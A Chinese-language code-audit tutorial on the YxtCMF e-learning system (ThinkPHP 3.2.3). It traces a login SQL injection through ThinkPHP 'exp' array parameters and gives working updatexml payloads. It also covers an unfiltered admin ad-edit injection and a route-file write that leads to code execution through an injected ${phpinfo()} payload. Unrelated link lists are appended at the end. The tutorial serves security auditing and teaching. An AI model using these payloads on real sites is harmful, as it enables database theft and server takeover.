介绍

YxtCMF在线学习系统是一个以thinkphp+bootstrap为框架进行开发的网络学习平台系统。

在线学习系统,为现代学习型组织提供了卓有成效的学习与培训方案, 能够通过在线学习和在线评估的方式轻松完成针对员工制订的培训计划,能够轻松建立自己的网校!

1、设计理念:E-learning

2、简单直观的界面、主次分明的设计

3、YxtCMF帮助培训机构和个人以最低成本、最快速度建立自己的在线教学网站,无需担心技术问题

4、YxtCMF采用PHP 5开发,使用mysql数据库。 框架使用Thinkphp+Bootstrap框架

下载地址:https://www.jb51.net/codes/474604.html

目录结构

admin	//后台静态文件
appliication //应用文件
data //数据配置文件
Expand //扩展类库目录
plugins //插件
public //一些资源
themes //主题
ueditor //编辑器文件
update //升级文件
uploads //上传文件
yxtedu //核心目录根据Thinkphp3.2.3开发的
index.php

yxtcmf 基于 thinkphp3.2.3开发的,所以先了解一下目录

application/xxx/controller	//由于是MVC架构,所以我们重要的逻辑代码就在controller下查看就好了
application/xxx/Menu //里面基本上是数组,定义了网站的一些功能名称、模块,我们可以根据这些数组查找到功能点对应的php文件
data/conf/route.php //路由文件
data/conf/db.php //数据库配置文件
yxtedu/Core/Mode/Api/function.php //thinkphp里面的一些自定义的重要函数,后面我们需要用到

前台审计

我们了解完这些配置架构等等之后,我们可以就从 index.php 页面来审计

<?php
if (ini_get('magic_quotes_gpc'))
{
function stripslashesRecursive(array $array)
{
foreach ($array as $k => $v)
{
if (is_string($v))
{
$array[$k] = stripslashes($v);
} else
if (is_array($v))
{
$array[$k] = stripslashesRecursive($v);
}
}
return $array;
}
$_GET = stripslashesRecursive($_GET);
$_POST = stripslashesRecursive($_POST);
}
define("APP_DEBUG",false);
define('SITE_PATH', dirname(__file__) . "/");
define('APP_PATH', SITE_PATH . 'application/');
define('SPAPP_PATH', SITE_PATH . 'yxtedu/');
define('SPAPP', './application/');
define('SPSTATIC', SITE_PATH . 'statics/');
define("RUNTIME_PATH", SITE_PATH . "data/runtime/");
define("HTML_PATH", SITE_PATH . "data/runtime/Html/");
define("THINKCMF_CORE_TAGLIBS", 'cx,Common\Lib\Taglib\TagLibSpadmin,Common\Lib\Taglib\TagLibHome');
if (!file_exists("data/install.lock"))
{
if (strtolower($_GET['g']) != "install")
{
header("Location:./index.php?g=install");
exit();
}
}
require SPAPP_PATH . 'Core/ThinkPHP.php';

首先是判断 if (ini_get('magic_quotes_gpc')) ,查看是否开启GPC

若开启了的话,则会对GET、POST接受的参数进行 stripslashesRecursive(实质上就是stripslashes) 转义:

function stripslashesRecursive(array $array)
{
foreach ($array as $k => $v)
{
if (is_string($v))
{
$array[$k] = stripslashes($v);
} else
if (is_array($v))
{
$array[$k] = stripslashesRecursive($v);
}
}
return $array;
}
$_GET = stripslashesRecursive($_GET);
$_POST = stripslashesRecursive($_POST);

然后下面给一些常见的参数或者路径赋值,定义的一些常量:

define("APP_DEBUG",false);
define('SITE_PATH', dirname(__file__) . "/");
define('APP_PATH', SITE_PATH . 'application/');
define('SPAPP_PATH', SITE_PATH . 'yxtedu/');
define('SPAPP', './application/');
define('SPSTATIC', SITE_PATH . 'statics/');
define("RUNTIME_PATH", SITE_PATH . "data/runtime/");
define("HTML_PATH", SITE_PATH . "data/runtime/Html/");
define("THINKCMF_CORE_TAGLIBS", 'cx,Common\Lib\Taglib\TagLibSpadmin,Common\Lib\Taglib\TagLibHome');

然后再查看下面,可以发现是否安装成功;

0x01、前台登陆处未使用I函数过滤导致注入

漏洞地址 :application/User/Controller/LoginController.class.php

首先验证了验证码是否正确,然后初始化了一个Users模块,最后检测是用手机号登录还是用邮箱登录:

$this->_do_mobile_login();
$this->_do_email_login();

这两个函数的定义就在这段代码的下面

注意这第 146 行,查看这一句SQL语句,发现没有经过I函数过滤

Thinkphp3.2.3中,如果没有经过I函数接受数据则会导致SQL注入

这是thinkphp的一个框架漏洞,我们先来看一下where函数的功能和用法:

也就是说,where里面包含的内容就是我们要查找的where后面的语句,那么我们这里是不是只要直接写入语句进去就行啦~ 但是你要观察到我们这里where里面的$where变量是数组的形式,而并非字符串形式。

这里就得用到其他的姿势了,也就是exp查询

$where['mobile']=$_POST['username'];

这里需要传参数组进去(如果看不懂可以看看这个链接https://www.php.cn/php-weizijiaocheng-381282.html

这时候我们要在POST包里面传进数组,那怎么传呢?这里运用到了&这个符号进行传参,我们注意要传两个参数,第一个是exp,第二个是我们要执行的sql语句,然后就开始构造payload

account[0]=exp&account[1]=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)&password=admin&ipForget=true

我们执行一下看看咋样

可以看到少了个等于号,为什么?因为这个等于号被当做赋值用了,所以不会被当做代码执行,我们需要再传入一个等于号

account[0]=exp&account[1]==1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)&password=admin&ipForget=true

这时候就注入成功了

后台使用I方法但未选择过滤方式,导致默认未过滤形成注入

漏洞位置:application/Admin/Controller/AdController.class.php

	function edit(){
$id=I("get.id");
$ad=$this->ad_model->where("ad_id=$id")->find();
$this->assign($ad);
$this->display();
}

根据函数命名可以知道这个是编辑,于是我们添加一条广告

再进去,通过下图我们可以知道这个是伪静态注入

这边接受我们的id,$id 虽然经过了I函数,但是没有选择,而默认又是为空



这边只需要闭合一下就可以了

因为路由设置问题导致GetShell

漏洞位置:application\Admin\Controller\RouteController.class.php

跟进 sp_get_routes 函数,这边贴出关键代码

function sp_get_routes($refresh=false){
......
$routes=M("Route")->where("status=1")->order("listorder asc")->select(); //取出status为1的Route
$all_routes=array();
$cache_routes=array();
foreach ($routes as $er){
$full_url=htmlspecialchars_decode($er['full_url']); //这里的full_url用htmlspecialchars_decode解码
......
$all_routes[$url]=$full_url; //将$full_url添加到$all_routes中
}
......
$route_dir=SITE_PATH."/data/conf/";
if(!file_exists($route_dir)){
mkdir($route_dir);
} $route_file=$route_dir."route.php"; //检测是否存在目录和route.php file_put_contents($route_file, "<?php\treturn " . stripslashes(var_export($all_routes, true)) . ";"); //将我们的$all_routes写入到route.php中 return $cache_routes;

通过上面我们知道这边过滤函数三个

htmlspecialchars_decode
var_export
stripslashes

而这三个函数跟进后对我们没有什么用,等于把我们的route写入文件中

根据路由规则,我们直接进入目标的页面,这边可以写入文件,我们就可以去构造个Payload

index/a/b',${phpinfo()}.'

可以看出这边是把单引号闭合掉,然后执行

MVC框架的代码审计小教程的更多相关文章

  1. .NET轻量级MVC框架:Nancy入门教程(二)——Nancy和MVC的简单对比

    在上一篇的.NET轻量级MVC框架:Nancy入门教程(一)——初识Nancy中,简单介绍了Nancy,并写了一个Hello,world.看到大家的评论,都在问Nancy的优势在哪里?和微软的MVC比 ...

  2. .NET轻量级MVC框架:Nancy入门教程(一)——初识Nancy

    当我们要接到一个新的项目的时候,我们第一时间想到的是用微软的MVC框架,但是你是否想过微软的MVC是不是有点笨重?我们这个项目用MVC是不是有点大材小用?有没有可以替代MVC的东西呢?看到这里也许你会 ...

  3. BrnShop开源网上商城第二讲:ASP.NET MVC框架

    在团队设计BrnShop的web项目之初,我们碰到了两个问题,第一个是数据的复用和传递,第二个是大mvc框架和小mvc框架的选择.下面我依次来说明下. 首先是数据的复用和传递:对于BrnShop的每一 ...

  4. 自己动手写PHP MVC框架

    自己动手写PHP MVC框架 来自:yuansir-web.com / yuansir@live.cn 代码下载: https://github.com/yuansir/tiny-php-framew ...

  5. Java Web自定义MVC框架详解 (转)

    转自:http://blog.csdn.net/jackfrued/article/details/42774459 最近给学生讲Java Web,希望他们能够在学完这部分内容后自己实现一个MVC框架 ...

  6. MVC框架实例教程 【转载】

    1 什么是MVC MVC模式(Model-View-Controller)是软件工程中的一种软件架构模式,把软件系统分为三个基本部分:模型(Model).视图(View)和控制器(Controller ...

  7. 手把手编写自己的PHP MVC框架实例教程

    1 什么是MVC MVC模式(Model-View-Controller)是软件工程中的一种软件架构模式. MVC把软件系统分为三个基本部分:模型(Model).视图(View)和控制器(Contro ...

  8. PHP: 手把手编写自己的 MVC 框架实例教程

    1 什么是MVC MVC模式(Model-View-Controller)是软件工程中的一种软件架构模式,把软件系统分为三个基本部分:模型(Model).视图(View)和控制器(Controller ...

  9. ASP.NET Core 入门教程 2、使用ASP.NET Core MVC框架构建Web应用

    一.前言 1.本文主要内容 使用dotnet cli创建基于解决方案(sln+csproj)的项目 使用Visual Studio Code开发基于解决方案(sln+csproj)的项目 Visual ...

随机推荐

  1. MySQL中的临时表到底什么是?

    Author:极客小俊 一个专注于web技术的80后 我不用拼过聪明人,我只需要拼过那些懒人 我就一定会超越大部分人! CSDN@极客小俊,原创文章, B站技术分享 B站视频 : Bilibili.c ...

  2. Vue中computed分析

    Vue中computed分析 在Vue中computed是计算属性,其会根据所依赖的数据动态显示新的计算结果,虽然使用{{}}模板内的表达式非常便利,但是设计它们的初衷是用于简单运算的,在模板中放入太 ...

  3. JavaScript的this到底代表谁?(this指向哪里?)

    在很多编程语言中都有this这个特殊关键字的存在,比如Java中的this,还有本文要说到的JavaScript中的this.那么,JavaScript中this究竟有什么特性和用法呢?它又是如何定义 ...

  4. 读书笔记——Effective C++

    1.让自己习惯C++ 条款01:视C++为一个语言联邦 C++高效编程守则视状况而变化,取决于你使用C++的哪一部分. 条款02:尽量以const.enum.inline替换 #define 对于单纯 ...

  5. 042 01 Android 零基础入门 01 Java基础语法 05 Java流程控制之循环结构 04 案例演示while循环的使用——循环输出英文字母

    042 01 Android 零基础入门 01 Java基础语法 05 Java流程控制之循环结构 04 案例演示while循环的使用--循环输出英文字母 本文知识点:案例演示while循环的使用2 ...

  6. 成理信安协会反序列化01-利用fastcoll实现md5碰撞

    虽然是反序列化的题目,但主要考点在利用fastcoll实现md5碰撞. 直接上源码 <?php show_source(__FILE__); class CDUTSEC { public $va ...

  7. golang API 请求队列

    概要 实现思路 使用方法 启动队列服务 使用队列服务 概要 在调用第三方 API 的时候, 基本都有访问限速的限制条件. 第三方的 API 有多个的时候, 就不太好控制访问速度, 常常会导致 HTTP ...

  8. docker自定义网络里的dns实现原理

    简单说一下流程吧,不写了. docker会修改容器里的/etc/resolv.conf文件,把dns服务器设置成127.0.0.11,因为127.0.0.0/8地址都是本机回环地址,所以dns查询的时 ...

  9. 实验五  用PS制作图文合成海报

    实验五  用PS制作图文合成海报 [实验目的] ⑴.熟悉PS软件基本操作 ⑵.学会用PS制作内容较丰富的海报式广告 [实验条件] ⑴.个人计算机一台 ⑵.个人计算机中预装Windows7操作系统和浏览 ...

  10. EDI模拟实验

    EDI模拟实验 [实验目的] ⑴.了解EDI报文的格式和特点. ⑵.掌握EDI报文生成和发送流程. [实验条件] ⑴.个人计算机一台,预装Windows XP操作系统和浏览器 ⑵.计算机通过局域网形式 ...